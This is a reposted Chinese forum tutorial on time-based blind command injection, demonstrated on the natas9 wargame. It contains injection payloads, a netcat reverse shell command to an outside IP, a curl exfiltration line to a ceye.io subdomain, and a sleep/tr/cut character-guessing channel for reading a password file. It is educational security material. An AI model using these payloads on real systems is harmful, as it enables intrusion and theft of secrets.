搜索

[13166] 2018-09-10_基于时延的盲道研究：受限环境下的内容回传信道

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-09-10_基于时延的盲道研究：受限环境下的内容回传信道 基 于 时 延 的 盲 道 研 究 ： 受 限 环 境 下 的 内 容 回 传 信 道 原 创   y a n g y a n g w i t h g n u   F r e e B u f   2 0 1 8 - 0 9 - 1 0 在 一 次 漏 洞 赏 金 活 动 中 ， 挖 到 个 命 令 注 入 的 洞 ， 我 先 以 时 延 作 为 证 明 向 厂 商 提 交 该 漏 洞 ， 厂 商 以 国 内 网 络 环 境 差 为 由 在 一 次 漏 洞 赏 金 活 动 中 ， 挖 到 个 命 令 注 入 的 洞 ， 我 先 以 时 延 作 为 证 明 向 厂 商 提 交 该 漏 洞 ， 厂 商 以 国 内 网 络 环 境 差 为 由 （ 的 确 得 翻 墙 ） 拒 收 ， 几 次 沟 通 ， 告 知 若 我 能 取 回 指 定 文 件 （ 的 确 得 翻 墙 ） 拒 收 ， 几 次 沟 通 ， 告 知 若 我 能 取 回 指 定 文 件   s e c r e t . t x t   才 认 可 。 目 标 是 个 受 限 环 境 ： 禁 止 出 口 流 量 、 才 认 可 。 目 标 是 个 受 限 环 境 ： 禁 止 出 口 流 量 、 N A T   映 射 至 公 网 、 无 页 面 回 显 、 无 法 猜 测 映 射 至 公 网 、 无 页 面 回 显 、 无 法 猜 测   w e b   目 录 ， 换 言 之 ， 没 有 出 口 流 量 无 法 反 弹 目 录 ， 换 言 之 ， 没 有 出 口 流 量 无 法 反 弹   s h e l l 、 、 N A T   隔 离 也 就 不 能 建 立 隔 离 也 就 不 能 建 立 正 向 正 向   s h e l l 、 页 面 无 输 出 想 看 到 命 令 结 果 不 可 能 、 找 不 到 、 页 面 无 输 出 想 看 到 命 令 结 果 不 可 能 、 找 不 到   w e b   目 即 便 成 功 创 建 目 即 便 成 功 创 建   w e b s h e l l   没 有 容 器 能 解 析 。 我 如 何 才 能 没 有 容 器 能 解 析 。 我 如 何 才 能 查 看 查 看   s e c r e t . t x t ， 顺 利 拿 到 赏 金 呢 ？ （ 嗯 ， 金 额 是 敏 感 信 息 嘛 ， 顺 利 拿 到 赏 金 呢 ？ （ 嗯 ， 金 额 是 敏 感 信 息 嘛 5 C 7 Z R 2 F O W D S 3 5 F Z A N B Q X E Z D T M V S W I I H F S C L 6 7 P E 7 4 W 7 I R Z N 7 V P S 2 5 A 7 F W C D O L J E N 4 2 2 L X 3 5 4 Q E F A = = = = ） ） 0 x 0 0   浅 入 深 出 浅 入 深 出 探 讨 技 术 问 题 ， 我 习 惯 拿 大 家 都 能 访 问 得 到 的 环 境 作 为 例 子 ， 这 样 ， 一 方 面 ， 你 能 通 过 操 作 来 验 证 我 的 想 法 是 否 正 确 ， 另 一 方 面 ， 实 践 也 能 触 发 你 对 同 个 问 题 的 不 同 思 考 。 由 于 保 密 协 议 的 原 因 ， 我 没 法 对 前 面 提 到 的 真 实 案 例 作 更 多 的 细 节 描 述 ， 好 不 容 易 找 到 了 一 个 环 境 类 似 的   w a r g a m e ， 与 你 分 享 。 h t t p : / / n a t a s 9 . n a t a s . l a b s . o v e r t h e w i r e . o r g ， 账 号   n a t a s 9 : W 0 m M h U c R R n G 8 d c g h E 4 q v k 3 J A 9 l G t 8 n D l ， 提 供 源 码 ， 你 得 想 法 查 看 / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   的 内 容 ： 命 令 注 入 ， 我 习 惯 上 先 摸 清 服 务 端 有 哪 些 限 制 条 件 ， 是 否 限 制 内 容 长 度 、 是 否 过 滤 特 殊 字 符 、 是 否 过 滤 系 统 命 令 、 白 名 单 还 是 黑 名 单 、 是 否 要 闭 合 单 / 双 引 号 、 操 作 系 统 类 别 ， 这 些 信 息 对 于 构 造 载 荷 至 关 重 要 。 页 面 右 下 角 给 出 了 源 码 ， 难 度 降 低 了 不 少 ， 但 摸 清 限 制 条 件 ， 是 你 在 其 他 黑 盒 测 试 场 景 中 值 得 优 先 考 虑 的 。 o k ， 现 在 查 看 源 码 ： 从 代 码 可 知 ， 服 务 端 未 作 任 何 恶 意 输 入 检 查 ， 直 接 将 输 入   $ k e y   作 为   g r e p   - i   $ k e y   d i c t i o n a r y . t x t   的 命 令 行 参 数 传 递 给   p a s s t h r u ( ) 函 数 执 行 系 统 命 令 。 显 然 ， 未 过 滤 最 基 本 的 命 令 替 换 符   $ ( ) ， 那 么 ， 提 交   $ ( s l e e p   4 ) ， 若 应 答 延 迟   4 s   则 可 确 认 漏 洞 存 在 。 （ 关 闭 攻 击 端 网 络 带 宽 占 用 高 的 应 用 ， 避 免 影 响 结 果 ） 我 先 提 交 普 通 字 符 串   x x x x ， 应 答 为 ：
页 面 无 实 际 内 容 输 出 ， 耗 时 约   0 . 3 s 。 接 下 来 提 交   x x x x % 2 4 % 2 8 s l e e p + 4 % 2 9 ， 应 答 如 下 ： 耗 时 约   4 . 3 s ， 那 么 ， 可 确 认 该 接 口 存 在 命 令 注 入 漏 洞 。 其 中 ， 两 点 注 意 ： 一 是 ， 载 荷 直 接 写 在   b u r p   拦 截 的 数 据 包 中 ， 没 有 经 过 浏 览 器   U R L   编 码 ， 所 以 你 得 手 动 将 字 母 和 数 字 之 外 的 字 符 按   U R L   编 码 （ b u r p   的   d e c o d e r   模 块 ） ； 二 是 ， 攻 击 载 荷 尽 量 包 含 先 前 一 样 的 普 通 字 符 串 ， 避 免 引 起 计 时 误 差 。 要 利 用 漏 洞 获 取   / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   内 容 ， 当 前 的 代 码 环 境 为   g r e p   - i   $ k e y   d i c t i o n a r y . t x t ， 首 先 呈 现 的 思 路 是 ， 注 入 命 令 分 隔 符 以 结 束   g r e p   - i ， 注 入 查 看   n a t a s 1 0   内 容 的 命 令 ， 注 释 掉 余 下 的   d i c t i o n a r y . t x t ， 这 样 ， 原 始 命 令 行 被 分 隔 成 语 法 正 确 的 三 部 份 。 命 令 分 隔 符 用   ; ， 注 释 符 号 用   # 。 所 以 ， 构 造 如 下 载 荷 （ 黄 色 高 亮 ） 作 为 参 数   k e y   的 输 入 ： 提 交 后 可 成 功 查 看   n a t a s 1 0   内 容   n O p p 1 i g Q A k U z a I 1 G U U j z n 1 b F V j 7 x C N z u ：
适 当 增 加 难 度 ， 假 设 服 务 端 过 滤 了 所 有 命 令 分 隔 符 （ ; | &   以 及 回 车 符 ） ， 能 否 突 破 ？ 简 单 思 考 后 想 到 一 种 方 式 ， 代 码 环 境 中 有 g r e p ， 它 只 要 匹 配 上 一 个 字 符 即 可 输 出 该 字 符 所 在 行 ， 那 么 ， 找 个 存 在 于   f l a g   中 的 任 意 字 符 ， g r e p   就 能 输 出 完 整 的   f l a g 。 所 以 ， 构 造 如 下 载 荷 ： 碰 碰 运 气 ， 看 下   a   是 否 在   f l a g   中 ： 运 气 不 错 ， 同 样 成 功 拿 到 f l a g 。 再 增 加 下 难 度 ， 如 果 无 页 面 回 显 ， 还 有 手 法 拿 到   f l a g   么 ？ 0 x 0 1   老 姿 势 玩 不 转 老 姿 势 玩 不 转 针 对 无 页 面 回 显 的 场 景 ， 我 常 用 获 取 内 容 的 方 式 有 如 下 几 种 ： 第 一 种 ， 写 入 或 下 载   w e b s h e l l ； 第 二 种 ， 用   n c 、 b a s h 、 p y t h o n 或 其 他 脚 本 语 言 反 弹   s h e l l ； 第 三 种 ， 用   c u r l 、 w g e t   访 问 我 自 己 的   V P S ， 将 内 容 放 入   U R L   的 路 径 中 ， 查 看 网 络 访 问 日 志 即 可 获 取 内 容 ， 这 也 是 你 喜 爱 的 盲 注 。 第 一 种 ， 写   w e b s h e l l 。 先 用   t o u c h   f o o   确 认   w e b   目 录 有 无 写 权 限 ：
查 看 文 件 列 表 ： 显 然 ， 无 写 权 限 。 这 种 方 式 行 不 通 。 第 二 种 ， 反 弹   s h e l l 。 先 确 认 下 目 标 有 无   n c ， 执 行   w h i c h   n c ： c o o l ！ 立 马 在 我 的   V P S   上 启 监 听   n c   - n l v p   1 2 3 1 2 ， 目 标 上 执 行   n c   1 2 8 . 6 4 . 3 2 . 2   1 2 3 1 2   - e   / b i n / s h ， 准 备 收   s h e l l ：
等 了 两 分 钟 服 务 端 还 没 应 答 ， V P S   上 也 没 收 到 任 何 连 接 。 或 许   n c   版 本 没 对 ， 尝 试   n c . t r a d i t i o n a l   1 2 8 . 6 4 . 3 2 . 2   1 2 3 1 2   - e   / b i n / s h ， 现 像 相 同 。 奇 怪 ， 莫 非 目 标 禁 止 出 口 流 量 ！ ？ 赶 紧 确 认 。 目 标 上 长   p i n g   自 己 的   V P S ， 再 登 录 查 看   I C M P   实 时 日 志 ： 无 任 何   p i n g   记 录 ， 基 本 上 可 以 推 断 该 目 标 禁 止 出 口 流 量 。 类 似 第 二 、 三 种 方 式 ， 以 网 络 请 求 日 志 作 为 带 外 内 容 回 传 信 道 的 老 姿 势 ， 在 当 前 场 景 中 ， 已 不 再 适 用 。 梳 理 下 ， 现 在 的 环 境 是 目 标 禁 止 出 口 流 量 、 页 面 无 输 出 、 w e b   目 录 无 写 权 限 ， 常 见 的 漏 洞 利 用 手 法 都 失 效 ， 唯 一 剩 下 的 时 延 手 法 ， 也 只 能 用 于 确 认 漏 洞 是 否 存 在 ， 无 法 带 回 我 需 要 的 内 容 。 等 一 下 ， 为 什 么 我 断 定 时 延 不 能 作 为 传 输 内 容 的 载 体 呢 ？ 命 令 注 入 ， 这 类 漏 洞 的 确 认 和 利 用 是 两 个 独 立 的 环 节 ， 载 荷 的 写 法 思 路 相 似 但 技 巧 又 不 同 。 比 如 ， 某 个 命 令 注 入 漏 洞 ， 页 面 无 回 显 ， 只 得 盲 注 ， 在 确 认 环 节 ， 你 注 入   ; s l e e p   4   执 行 后 ， 若 应 答 延 时   4 s ， 心 中 必 起 涟 漪 ； 在 漏 洞 利 用 环 节 ， 想 取 回 s e c r e t . t x t ， 你 会 在   c e y e . i o   上 申 请 个 临 时 二 级 域 名   f o o . c e y e . i o ， 向 目 标 注 入   c u r l   f o o . c e y e . i o / $ ( c a t   s e c r e t . t x t )   命 令 ， 登 录 c e y e . i o   查 看   H T T P   访 问 日 志 ， f o o . c e y e . i o   的 路 径 中 便 能 看 到 完 整   s e c r e t . t x t   内 容 。 你 看 ， 确 认 环 节 我 用 的 是 时 延 技 巧 ， 而 利 用 环 节 又 用 到   H T T P   访 问 日 志 的 手 法 。 时 延 ， 有 可 能 带 回 内 容 吗 ？ 0 x 0 2   本 地 探 索 本 地 探 索 时 延 ， 接 收 端 不 是 机 器 ， 而 是 人 ， 感 受 到 时 延 则 存 在 漏 洞 、 无 则 不 存 在 ， 相 当 于 返 回 的 布 尔 值 ： 但 注 入 的 载 荷 没 法 用   i f   语 句 ， 哪 种 方 式 可 以 替 换   i f   呢 ？ 条 件 运 算 符 ： 很 遗 憾 ， 命 令 行 中 不 支 持 这 种 语 法 ； & & 、 | |   这 类 短 路 运 算 符 也 能 变 向 实 现 条 件 判 断 ， 但 这 又 服 务 端 过 滤 的 重 点 。 如 果   s l e e p   的 参 数 非 数 字 有 啥 反 应 ：
虽 有 报 错 输 出 但 并 无 任 何 延 迟 ， 可 以 找 种 方 式 将 我 指 定 的 字 符 转 为 数 字 ， 不 满 足 的 保 留 不 做 任 何 转 换 ， 那 么 ， 只 要 结 果 有 延 迟 ， 就 能 说 明 待 猜 解 的 字 符 等 于 我 指 定 的 字 符 。 t r   是 常 用 的 字 符 转 换 命 令 ， a   是 输 入 ， x   是 待 转 换 字 符 ， a   与   x   不 匹 配 ， 无 法 转 换 ， 输 出 仍 保 留   a ； 而 将 输 入 改 为   x ， 那 么 输 出 则 被 转 换 为   4 ： 串 起 来 ， 根 据 是 否 延 迟 ， 等 同 于 构 建 出 一 套 问 询 系 统 ： 你 看 ， 我 已 经 可 以 猜 解 出 当 前 字 符 为   x   呢 ！ 我 们 在 命 令 行 中 实 验 下 ： 其 中 ， $ ( )   为 命 令 替 换 符 优 先 计 算 。 当 猜 测 为   a   时 系 统 无 延 迟 ， 猜 测 为   x   时 延 迟   4 s 。 如 果 输 入 是 字 符 串 而 非 单 个 字 符 呢 ？ 不 难 ， c u t   可 以 提 取 单 个 字 符 ：
字 符 成 百 上 千 ， 上 面 的 方 式 只 用 字 母 举 例 ， 若 是 数 字 ， 还 能 生 效 么 ？ 比 如 ， 待 猜 解 的 字 符 为   9 ， 猜 测   0 - 8   时 均 要 等 待 ： 每 次 猜 测 均 有 延 迟 ， 造 成 时 间 浪 费 ， 得 优 化 。 其 实 ， 猜 数 字 更 简 单 ， s l e e p   的 参 数 本 该 就 是 数 字 ， 延 迟 几 秒 就 是 几 ： 除 了 字 母 、 数 字 ， 还 有 特 殊 字 符 （ %   @ ） 、 转 义 字 符 （ n   r   t ） 、 甚 至 中 文 （ 你 好 ） ， 如 果 把 所 有 可 能 的 字 符 放 入 字 典 ， 依 次 提 交 给   s l e e p   问 询 ， 那 么 效 率 肯 定 不 高 。 所 以 ， 得 继 续 优 化 ， 只 猜 解 数 字 和 字 母 的 情 况 太 理 想 化 了 。 等 等 等 等 ， 说 到 只 含 数 字 和 字 母 ， 自 然 联 想 到 老 朋 友   b a s e 6 4 ， 包 含   [ 0 - 9 a - z A - Z + / = ]   共 计   6 5   个 字 符 ， 进 一 步 ， b a s e 3 2   也 不 错 ， 包 含   [ 2 - 7 A - Z = ]   共 计   3 3 个 ， 更 进 一 步 ， b a s e 1 6   也 可 以 ， 包 含   [ 0 - 9 A - F ]   共   1 6   个 。 显 然 ， 单 从 字 典 规 模 来 看 ， b a s e 1 6   最 优 ， 但 遗 憾 的 是 大 部 份 系 统 默 认 并 未 安 装   b a s e 1 6   和   b a s e 3 2 。 综 合 来 看 ， b a s e 6 4   是 最 优 选 择 。 比 如 ， 中 文   小 朋 友   经   b a s e 6 4   编 码 后 为 5 b C P 5 p y L 5 Y + L C g = = ： 其 中 ， b a s e 6 4   命 令 输 出 默 认 按 每 行   7 6   个 字 符 进 行 折 行 ， 用 参 数   - w 0   取 消 该 行 为 。 现 在 ， 我 能 把 任 意 字 符 串 转 为 只 含 字 母 和 数 字 的 新 字 符 串 ， 由 于 猜 解 字 母 和 数 字 的 方 式 不 同 ， 所 以 ， 还 剩 最 后 一 个 问 题 ， 如 何 区 分 待 猜 解 的 字 符 是 字 母 还 是 数 字 ？ 我 的 思 路 如 下 ： •   第 一 步 ， 不 管 三 七 二 十 一 ， 执 行   s l e e p   ? ， 将 待 猜 解 字 符 直 接 丢 给   s l e e p ， 若 有 延 迟 则 肯 定 为 数 字 ， 延 迟 几 秒 则 为 几 ， 若 无 延 迟 则 可 能 为   0 、 字 母 、 + 、 / 、 = ； •   第 二 步 ： 执 行   s l e e p   $ ( e c h o   ?   |   t r   0   4 )   问 询 是 否 为   0 ， 若 延 迟 说 明 是   0 ， 否 则 可 能 为 字 母 、 + 、 / 、 = ； •   第 三 步 ， 执 行   s l e e p   $ ( e c h o   ?   |   t r   a   4 )   问 询 是 否 为   a ， 若 延 迟 说 明 是   a ， 否 则 可 能 其 他 字 母 、 + 、 / 、 = •   第 四 步 ， 重 复 第 三 步 即 可 猜 解 出 。 观 察 下 ， 第 二 、 三 步 相 同 ， 所 以 ， 结 论 是 ： 先 当 成 数 字 给 丢   s l e e p   ? ， 若 延 迟 则 是 几 秒 就 是 数 字 几 ； 若 无 延 迟 则 用 字 典   [ 0 a - z A - Z + / = ]   执 行   s l e e p   $ ( e c h o   ?   |   t r   § x §   4 )   暴 破 ， 其 中 ， ?   代 表 待 猜 解 字 符 、 § x §   为 枚 举 变 量 。 0 x 0 3   再 次 挑 战 再 次 挑 战
好 了 ， 已 经 探 索 出 用 时 延 作 为 字 符 猜 解 的 方 法 ， 前 面 的   w a r g a m e   在 假 定 的 受 限 环 境 下 （ 禁 止 出 口 流 量 、 页 面 无 输 出 、 w e b   目 录 无 写 权 限 ） ， 我 们 尝 试 用 时 延 作 为 传 输 内 容 的 载 体 。 通 过 其 他 手 法 我 们 已 经 晓 得   f l a g   为   U 8 2 q 5 T C M M Q 9 x u F o I 3 d Y X 6 1 s 7 O Z D 9 J K o K ， 并 不 包 含 特 殊 字 符 ， 为 了 我 们 讨 论 的 主 线 清 晰 ， 暂 不 将 其 进 行   b a s e 6 4   编 码 。 o k ， 开 始 表 演 ！ 第 一 步 ， 了 解 正 常 访 问 耗 时 作 为 基 准 值 。 尽 可 能 让 攻 击 端 带 宽 空 闲 ， 提 交 普 通 字 符 串   x x x x ： 页 面 无 实 际 内 容 输 出 ， 耗 时 约   0 . 3 s 。 第 二 步 ， 获 取   / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   的 内 容 长 度 。 目 标 上 执 行   $ ( s l e e p   $ ( c a t   / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   |   w c   - c ) ) ， 等 待 时 长 即 为   n a t a s 1 0   内 容 长 度 ： 耗 时   3 3 . 4 s ， 抛 去 基 准 值 ， 可 推 测 出   n a t a s 1 0   内 容 长 度 大 概 是   3 3 ， 由 于   c a t   自 动 添 加 换 行 符 ， 所 以 准 确 值 应 为   3 2 。 如 果 担 心 单 次 测 试 存 在 误 差 ， 可 以 多 试 几 次 ， 取 高 概 率 值 （ 非 均 值 ） 。 U R L   编 码 后 的 载 荷 看 起 来 不 直 接 ， 你 把 光 标 移 过 去 后 稍 作 停 留 ， b u r p   自 动 解 码 ， 这 样 是 不 是 清 晰 多 了 。 另 外 ， n a t a s 1 0   内 容 并 不 太 多 ， 延 迟   3 2 s   还 能 接 受 ， 如 果 是   1 0 2 4 s   呢 ？ 那 就 只 能 借 助   c u t   逐 一 提 取 各 位 后 猜 解 ， 你 ， 应 该 明 白 我 在 说 什 么 嘛 。 第 三 步 ， 猜 解 所 有 数 字 字 符 。 前 面 说 过 ， 猜 解 数 字 （ [ 1 - 9 ] ） 和 字 母 （ [ 0 a - z A - Z + / = ] ） 采 用 完 全 不 同 的 手 法 ， 我 先 将 字 符 串 的 中 的 每 个 字 符 当 成 数 字 ， 逐 一 给 丢   s l e e p   ? ， 哪 个 字 符 有 延 迟 则 其 一 定 是 非 零 的 某 个 数 字 ， 且 延 迟 几 秒 就 是 数 字 几 。 目 标 上 执 行   $ ( s l e e p   $ ( c a t   / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   |   c u t   - c 1 ) )   猜 解 第 一 个 字 符 ， 我 要 猜 解   3 2   个 字 符 ， 所 以 ， 将   c u t   - c § 1 § 中 的   - c   参 数 作 为 枚 举 变 量 、 字 典 为   [ 1 - 3 2 ] ：
我 把 并 发 数 设 为   6 4 ， 十 秒 不 到 就 暴 破 完 了 ， 要 查 看 每 次 请 求 的 耗 时 ， 只 需 在   i n t r u d e r   a t t a c k   窗 口 中 ， 勾 选   c o l u m n s   -   r e s p o n s e c o m p l e t e d   即 可 ， 按 耗 时 降 序 排 列 ： 其 中 ， 由 于 当 前 猜 测 的 是   [ 1 - 9 ]   的 数 字 ， 网 络 误 差 只 可 能 大 于 最 小 的   1 s ， 所 以 耗 时 小 于   1 s   的 可 忽 略 ， 大 于   1 s   的 就 一 定 准 确 吗 ？ 网 络 耗 时 受 诸 多 元 素 影 响 ， 单 次 结 果 不 能 代 表 真 实 情 况 ， 我 得 多 次 验 证 。 所 以 ， 我 选 中 耗 时 大 于   1 s   的   1 5   条 记 录 ， 点 击 r e q u e s t   i t e m s   a g a i n   再 次 批 量 提 交 请 求 ：
这 次 只 剩   6   条 、 第 三 次 提 交 后 变 成   5   条 、 第 四 次   4   条 、 第 五 六 七 次 的 数 量 和 耗 时 均 与 前 次 相 同 ， 稳 定 值 可 作 为 信 任 值 ： 由 图 可 知 ， 2 7   位 的 字 符 为 数 字   7 、 1 5   位   1 、 5   位   1 、 2 2   位   1 ， 填 入   3 2   位 的   f l a g   中   ? ? ? ? 1 ? ? ? ? ? ? ? ? ? 1 ? ? ? ? ? ? 1 ? ? ? 7 ? ? ? ? ? 。 第 四 步 ， 猜 解 所 有 字 母 字 符 。 说 得 不 太 严 谨 哈 ， 应 该 是   [ 0 a - z A - Z + / = ] 。 目 标 上 执 行   $ ( s l e e p   $ ( c a t   / e t c / n a t a s _ w e b p a s s / n a t a s 1 0   | c u t   - c § 1 §   |   t r   § x §   2 ) ) ， 其 中 ， 将   c u t   - c § 1 §   中 的   - c   参 数 作 为 枚 举 变 量   1 、 字 典 为   [ 1 - 3 2 ]   剔 出   2 7 、 1 5 、 5 、 2 2   之 外 的 数 字 ， 将 t r   § x §   2   中 的 参 数   § x §   作 为 枚 举 变 量   2 、 字 典 为   [ 0 a - z A - Z + / = ] ， 两 个 枚 举 变 量 采 用   c l u s t e r   b o m b   方 式 组 合 暴 破 ： 如 果 字 典 是 连 续 数 字 ， i n t r u d e r   的   p a y l o a d   t y p e   选   n u m b e r s   可 以 快 速 生 成 ， 但 这 里 的 枚 举 变 量   1   的 字 典 并 非 连 续 数 字 ， 而 是 从 [ 1 - 3 2 ]   中 剔 出   2 7 、 1 5 、 5 、 2 2 ， 三 十 来 个 数 字 ， 咬 咬 牙 手 动 输 入 也 还 能 接 受 ， 如 果 是 三 千 个 数 字 呢 ？ 得 找 个 自 动 化 的 方 式 。 隔 壁 王 姐 都 会 的   p y t h o n   肯 定 是 选 择 之 一 ， 现 在 我 们 不 是 在 讨 论 命 令 注 入 么 ， 命 令 行 是 我 的 首 选 ， s e q   1   3 2   >   n u m . l s t   再 剔 出 那   4 个 数 字 即 可 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理